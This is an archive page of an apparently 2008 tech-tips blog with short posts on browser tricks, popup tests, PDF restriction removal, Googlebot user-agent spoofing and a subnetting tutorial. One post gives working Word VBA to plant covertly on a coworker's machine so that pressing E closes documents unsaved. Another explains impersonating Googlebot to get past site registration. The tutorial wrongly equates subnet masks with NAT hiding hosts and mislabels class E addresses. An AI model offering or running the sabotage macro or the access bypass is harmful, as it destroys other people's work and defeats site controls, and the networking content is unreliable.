techian.com

A Blog With No Limits

Advertisement

Archive for the ‘ Tips ’ Category

Blinking cursor problem in firefox.

Posted on October 2, 2008 by admin | No Comments

To be frank i am firefox fan but few things i dont like about it..

yesterday i saw that my firefox started showing cursor and it was blinking. i tried hell a lot to recityfy this problem. disable greasemonkey too. but it remained.

One solution i found of creating a new integer value named “ui.caretBlinkTime” = 0
In address bar type about:config.

then right click on browser anywhere and select new->integer
give name “ui.caretBlinkTime” and value = 0
But this only stopped blinking.. the cursor remained visible.

Then i got a simple solution :p

just pressed F7 key and it vanished!!!

it was so simple but took so much of time. Poor me :-(

Youtube Hack for better picture quality

Posted on September 17, 2008 by admin | No Comments

You tube Hack

Most videos DO NOT have “View in Higher Quality”. So by using this code, you’ll be able to watch ANYTHING in higher quality..
HOW IT WORKS: Just enter “&fmt=18″ behind the URL at the top, then press enter. Higher Quality.!!

THE URL SHOULD NOW LOOK LIKE THIS:
http://www.youtube.com/watch?v=gG9adc378TI&fmt=18

Google Chrome Easter Egg Revealed

Posted on September 9, 2008 by admin | No Comments


Just type about:internets on the Google chrome address bar, you will find images of animated colorful tubes.

These tubes are known as “Series of Tubes”

“Series of tubes” is an analogy used by U.S Senator Ted Stevens to describe the Internet in the context of Network Neutrality.

You can also try:
about:version
about:memory
about:stats
about:network
about:dns
about:cache
about:histograms
about:plugins

Removing restrictions from pdf file

Posted on September 2, 2008 by admin | No Comments

Remove restriction from pdf file


How to remove restrictions from pdf files [like print option disabled etc..]

Today i downloaded a pdf file of 38mb size. but when i tried to print it..the print option was disabled. i tried to remove the restriction by means of converting the file to doc.. but it was not getting converted . i googled for restriction removal software but they all were asking for $.so finally google helped me and i found a software [freeware] which worked.

download link:
actually it makes a copy of the file whose restrictions is to be removed in the same folder. then u will have a duplicate file [a copy] with no restrictions at all. i saved 1600 Rs. by that downloaded document and 24$ for not purchasing restriction removal tool and using this freeware. Thak god!!

Test your popup blocker software

Posted on September 2, 2008 by admin | No Comments

PopupTest.com provides a simple and independent source for popup window testing. Whether you are developing a popup killer software or you are thinking about purchasing one, you can use our sample popups to test the effectiveness of the application.
We are providing samples of the most common popup styles, as well as some not so common ones (as indicated).


Common popup techniques

Multi-PopUp Test
This page launches 10 popup windows, using different techniques…

Multi-PopUp Test #2
This page launches 4 popup windows, using different techniques…

Come & Go Test
This page launches 2 popup when you enter, and an additional one when you leave.

Timed PopUp
This page launches a new popup every 5 seconds…

Mouseover PopUp
Hold your mouse over the text and you’ll see 2 popup windows.

Less common popup techniques

Floating popup
Very annoying, won’t go away until you do…

Channel Opener
Opens a full-screen channel mode window in IE…

Modeless Window
Stays on top until closed…

Full screen trap
Very nasty! In IE, this one opens full screen, and the only way out press Alt+F4 to close it.

Drop down Popup
This one drops into your face from the top of the page…

Floating banner
An animated airplane that grabs an existing banner ad and flies it around the screen… not really a true popup.

Chromeless
A non-standard, borderless popup window…

Sticky popup
This popup floats in the upper right corner like a sticky note…

High-tech popup and floating media
These techniques are too invloved to use local samples, so we are linking to a real web site that uses them instead. Some of these are pretty cool actually, and not near as annoying as the common ones.

EyeBlaster
BlueLayer
TangoZebra Overlays

Not all popups are bad…
but some popup killers are not smart enough to recognize that!

This page has some links that produce popup windows when clicked. A good popup blocker should ignore these and let you open the windows…
Click here

more to come!

Microsoft Word Prank

Posted on August 30, 2008 by admin | No Comments

What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

Try out different options, its a lot of fun.

Ever wondered why Google returned search results that lead to sites that require a registration? How did Google index the site without a registration? Many sites want their site indexed in Google to receive more hits, so they allow Googlebots in. Because of this reason we can take advantage of this. All we have to do is disguise ourself as a Googlebot and many sites will let us in without registration.

To do this we have to change the User Agent. The user agent defines the browser and what version you are using. For example if you go to this site it will tell you what browser you are using, and it finds this info out by the user agent.

Changing the user agent is easy, to do this in Opera you have to uses these settings:

User Agent: Googlebot/2.1 Compatible: http://www.googlebot.com/bot.html

Firefox users can use this extension and import this file (right click and save) that has a huge list of user agent settings including Googlebot/2.1 and many other spiders/bots.

Internet Explorer users you will need to change the registry entries, to do this open notepad and copy this into it:

    Windows Registry Editor Version 5.00 [HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User Agent] @=”Googlebot/2.1″ “Compatible”=”+http://www.googlebot.com/bot.html”

Then save it as ua.reg and double click on it.

To revert the changes back, you will need to do the same but this time copy this in:

    Windows Registry Editor Version 5.00 [HKEYLOCALMACHINESOFTWAREMicrosoftWindowsCurrentVersionInternet Settings5.0User Agent] @=”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Save as oua.reg and double click.

To see if it has worked go here and your browser should now be Googlebot v2.1

Enjoy!

How to Subnet a Network

Posted on August 30, 2008 by admin | No Comments

A properly designed subnet can do wonders for the security and performance of a network. The main idea in subnetting is to divide a network into smaller pieces, which we call subnets. Actually implementing a subnet is typically more difficult than simply using the default subnet mask of 255.255.255.0. This usually means that temporary or smaller networks do not need to be subnetted.

Security sees benefit since the IP addresses of the host computers on each subnet are masked by the network address- which means they are invisible to the outside world. We call this network address translation, or NAT. This same technique helps conserve IP addresses, since all hosts on the subnet essentially just use the network IP address during communication.

A Basic Review on Subnetting

If you’re a little rusty on the basics of subnetting, don’t worry. We’ll cover everything you need to know from beginning to end. First thing first: we need to learn about the IP basics.

The current version of internet protocol, or IP, is IP version 4. This IP version allows four octets of data to represent an IP address. Each octet is considered to be a byte, so there are 8 bits in every octet. Note that in binary form you can see that there are 8 numbers, each one consisting of a bit. Finally, each octet is separated by a period, as shown below.

subnet

Each IP address is usually represented in decimal form, as seen above as “192.168.2.1”. However, each IP address is actually used by computers in binary form. You may have noticed a huge flaw in IP version 4: the amount of unique IP addresses is limited! To be exact, only 4,294,967,296 unique IP addresses can be created. This may seem like a large number but keep in mind every single device in the world needs a unique IP address to communicate with one another while online.

The IP version 6 protocol was created for when the transition is needed. Most computers don’t use IPv6 just yet, but in the future it will inevitably be used. (In case you were wondering, IPv6 will support 2^128 unique IP addresses… egad!)

Classes

There are three main types of classifications of IP addresses in IPv4: class A, class B, and class C. There are class D and class E types, but those are for multicasting and private uses, respectively. Each class differs by the number of network and host octets it has. Each network octet is for classifying which network a host is on. More network octets will mean more networks! Likewise, each host octet specifies a host that can be assigned to the network. More host octets means more computers per network.

Each class has a certain range that the first octet can be assigned to. This lets us know to what network class any IP belongs to with ease. Review the diagram below to see a visual diagram.

how to subnet

Now the bad news: you must memorize each range for each class if you hope to pass most network exams. Don’t worry! It’s actually easy- just memorize how we get the numbers, not the numbers themselves! All you have to do is remember n^8 (read as “n” to the eighth power), and how many network portions each class has. Review the diagram below.

subnetting a network

One final note before we move on. Notice how we didn’t use the IP address 127 for the class A network- that’s because this is loopback address. We use this for testing configurations on the IP network. Also take note that there are reserved IP addresses, such as those for private networks. These IP addresses will not connect to the internet, which is handy if you just want computers to be connected with each other- and not the whole world.

Subnet Masks

A subnet mask is what we use to assign different amounts of networks and hosts to an IP network. It essentially divides the IP address into two parts: the network and host. This is a trading game- the more hosts you have, the fewer networks you will have. And yet the more networks you have, the fewer hosts you will have. Review the class A default subnet masks as shown below.

class a subnet

The class B network will need to recognize two network portions, and two host portions. This can be seen in the below diagram.

class b subnet

Lastly, we have the class C subnet. It is the most commonly used subnet, so pay special attention to it in the upcoming lecture. You can see a diagram of the default subnet below.

class c subnet

We’ve laid Down the Foundation, Let’s Build the House!

We just reviewed the basics of IP addresses and subnet masks. The bad news is, we usually don’t use the default subnet mask at all when we subnet a network! The good news is, learning how to subnet isn’t too hard. It will, however, take some practice.

An Example of Subnetting a Class C Network

Subnetting varies in difficulty, depending on which class you are subnetting. More often than not, you will need to create a subnet for a class C network. A class C network allows for many networks to be created, but not as many hosts. In fact, you can create a hefty 2,097,152 networks- but only 254 hosts per network are allowed.

Let’s say we are subnetting a school’s network. We need 5 separate networks that have 30 computers on each subnet.

First we calculate how many usable subnets we need. Next we will need to determine how many hosts are required. Both of these values can be calculated with the following equations:

Two Important Equations to Remember:


  • 1. Usable Subnets = (2^n) – 2 , where N = power of bits assigned
  • 2. Usable Hosts = (2^n) – 2 , where N = power of bits remaining

Let’s start with usable subnets. Review the diagram below for a visual example.

subnet practice

If you are wondering what the “-2” part of the equation is for, this is how we account for the two addresses in each subnet we can’t use. We will review what these addresses are for more specifically later on. For now, let’s find out what our usable hosts are!

subnet solutions

Alright Already! What’s My Subnet Mask?!

Getting your subnet mask at this point is incredibly easy. Simply take all of your network bits, and add them up. Look at the diagram below for a visual guide.

subnet mask

That’s it! You’re done. You have successfully created a subnet mask that can be used on the school’s network. Keep in mind that every computer must have the subnet mask set in order for them to be on the same network. Also note that since we are using a class C network, the first three octets will always be 255. When subnetting other classes, be sure to keep the network portions in mind.

Closing Comments

Subnetting may not be fun, but it is required for students to know on network
ing exams. That means you should stay away from subnet calculators until you have grasped the full concept of how to do it yourself. These calculators should only be used as a time saving tool, not a learning tool or way to cheat on homework.

With enough practice, subnetting will become much easier. Class A and Class B networks are a bit trickier, but follow the same example as shown above and it should be quite easy to accomplish.